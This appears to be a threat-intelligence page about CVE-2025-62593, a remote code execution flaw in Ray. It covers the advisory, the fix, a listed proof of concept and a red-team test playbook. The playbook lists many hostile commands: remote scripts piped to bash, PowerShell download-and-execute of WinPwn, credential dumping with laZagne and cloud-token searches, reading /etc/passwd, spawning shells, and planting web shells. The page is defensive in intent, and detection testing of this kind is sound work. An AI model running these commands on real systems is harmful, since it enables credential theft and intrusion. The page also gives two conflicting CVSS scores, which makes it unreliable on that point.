CVE-2025-62593
Overview
This vulnerability is a remote code execution (RCE) flaw rooted in an insufficient security control within the Ray AI compute engine's development tool. The affected component relies on the User-Agent HTTP header starting with "Mozilla" as a defense against browser-based attacks, which is inadequate because the fetch specification permits modification of this header. This weakness, combined with the potential for DNS rebinding attacks, allows malicious web content to bypass the User-Agent check and exploit the Ray development environment.
Vulnerability Description
Ray is an AI compute engine. Prior to version 2.52.0, developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified. Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising). This issue has been patched in version 2.52.0.
Impact
An attacker can achieve remote code execution on a developer's machine running Ray by tricking them into visiting a malicious webpage or viewing a malicious advertisement, requiring only user interaction to visit the site. This allows the attacker to execute arbitrary commands within the developer environment, potentially leading to full system compromise, data theft, or lateral movement within the network. The attack does not require authentication or elevated privileges, making it highly accessible to remote adversaries targeting developers.
Solution
Upgrade Ray to version 2.52.0 or later, where the vulnerability has been patched. The fix removes reliance on the User-Agent header for security checks and addresses the DNS rebinding attack vector. Detailed patch instructions and advisory information are available in the Ray Project security advisory GHSA-q279-jhrf-cc6v at https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v. Users should apply this update promptly to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the AI compute engine Ray stems from an inadequate defense mechanism against browser-based attacks, specifically leveraging the User-Agent header. This flaw manifests in versions prior to 2.52.0, where the application relies on the User-Agent string beginning with "Mozilla" as a primary line of defense. However, this approach is fundamentally flawed due to the ability of the fetch specification to allow modification of the User-Agent header. Consequently, this creates an opportunity for attackers to exploit the vulnerability through various attack vectors, particularly when developers interact with malicious web content while using Ray.
Exploitation of this vulnerability can occur through several attack vectors, with DNS rebinding attacks being particularly effective. In such scenarios, an attacker can manipulate a victim's browser to resolve a domain name to an internal IP address, thereby bypassing same-origin policies that would typically protect against cross-origin requests. A developer utilizing Ray who inadvertently visits a malicious website or is exposed to malvertising could trigger the execution of arbitrary code. This exploitation could lead to unauthorized access to sensitive data or the execution of malicious commands within the developer's environment, posing significant risks to the integrity and confidentiality of the systems involved.
The real-world impact of this vulnerability is substantial, especially for organizations that rely on Ray for AI development. Given the critical nature of the compute engine in processing and managing AI workloads, a successful exploitation could lead to data breaches, loss of intellectual property, and severe reputational damage. The high CVSS score of 9.4 indicates that the vulnerability is not only critical but also likely to be targeted by malicious actors. Organizations may face regulatory scrutiny and financial repercussions if sensitive data is compromised, further amplifying the business risk associated with this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to version 2.52.0 or later, where the issue has been addressed. Additionally, implementing robust security measures such as web application firewalls (WAFs) can help filter out malicious traffic and block potential exploitation attempts. Regular security assessments, including penetration testing and vulnerability scanning, should be conducted to identify and remediate any weaknesses in the application environment. Furthermore, educating developers about safe browsing practices and the risks of interacting with untrusted web content can significantly reduce the likelihood of falling victim to such attacks.
In conclusion, the vulnerability in Ray represents a critical security concern that necessitates immediate attention from affected organizations. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against exploitation. Implementing effective detection and mitigation strategies will not only protect the integrity of the development environment but also safeguard sensitive data and maintain trust with stakeholders.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-62593, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition elevates the vulnerability’s profile within the cybersecurity community and signals increased prioritization for remediation efforts. Our telemetry indicates that exploit attempts are emerging in the wild, albeit without confirmed ransomware group involvement at this time. The assignment of a CVSS score of 8.8 reflects the critical severity of this remote code execution flaw, underscoring its potential impact on affected Ray deployments. Additionally, the modest rise in the EPSS score, while still low, suggests growing exploitation likelihood that defenders must monitor closely. Collectively, these developments shift the risk posture from theoretical to actively exploitable, necessitating heightened vigilance and accelerated patch management to mitigate potential compromise.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Anyscale | Ray | All |
cpe:2.3:a:anyscale:ray:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Boreas37/CVE-2025-62593-PoC
PoC for CVE-2025-62593: unauthenticated RCE in Ray (CISA KEV). Stdlib-only Python.
|
Boreas37 | 2 | 0 | 2026-08-18 | View |
Threat Feed
10 eventsSighting activity recorded
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Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-62593 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09 |
| bitsight.com |
NVD API
Third Party Advisory
|
https://www.bitsight.com/blog/rondodox-botnet-infrastructure-analysis |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62593 |